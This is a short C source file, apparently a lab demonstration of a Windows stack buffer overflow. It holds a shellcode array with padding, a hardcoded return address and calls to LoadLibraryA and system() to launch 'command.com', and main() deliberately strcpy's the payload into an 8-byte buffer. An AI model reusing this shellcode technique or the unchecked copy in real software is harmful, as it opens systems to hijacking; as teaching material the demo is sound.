test.cpp

缓冲区溢出攻击

#include <stdio.h>
#include <string.h>

char shellcode[] = 
	"\x41\x41\x41\x41"
	"\x41\x41\x41\x41"
	"\x41\x41\x41\x41"
	"\x12\x45\xfa\x7f"
	"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53"
	"\xc6\x45\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6\x45\xfa\x2e\xc6"
	"\x45\xfb\x44\xc6\x45\xfc\x4c\xc6\x45\xfd\x4c\xba"
	"\x9c\x2f\x88\x7c"	// LoadLibraryA
	"\x52\x8d\x45\xf4\x50"
	"\xff\x55\xf0"
	"\x55\x8b\xec\x83\xec\x2c\xb8\x63\x6f\x6d\x6d\x89\x45\xf4\xb8\x61\x6e\x64\x2e"
	"\x89\x45\xf8\xb8\x63\x6f\x6d\x22\x89\x45\xfc\x33\xd2\x88\x55\xff\x8d\x45\xf4"
	"\x50\xb8"
	"\xc7\x93\xbf\x77"	// system
	"\xff\xd0";




int main()
{
	char output[8];
	int i = 0;
	strcpy(output, shellcode);

	getchar();

	for(i=0; (i<8)&&output[i]; i++)
	{
		printf("\\0x%x", output[i]);
	}
	printf("\n\n");
	return 0;
}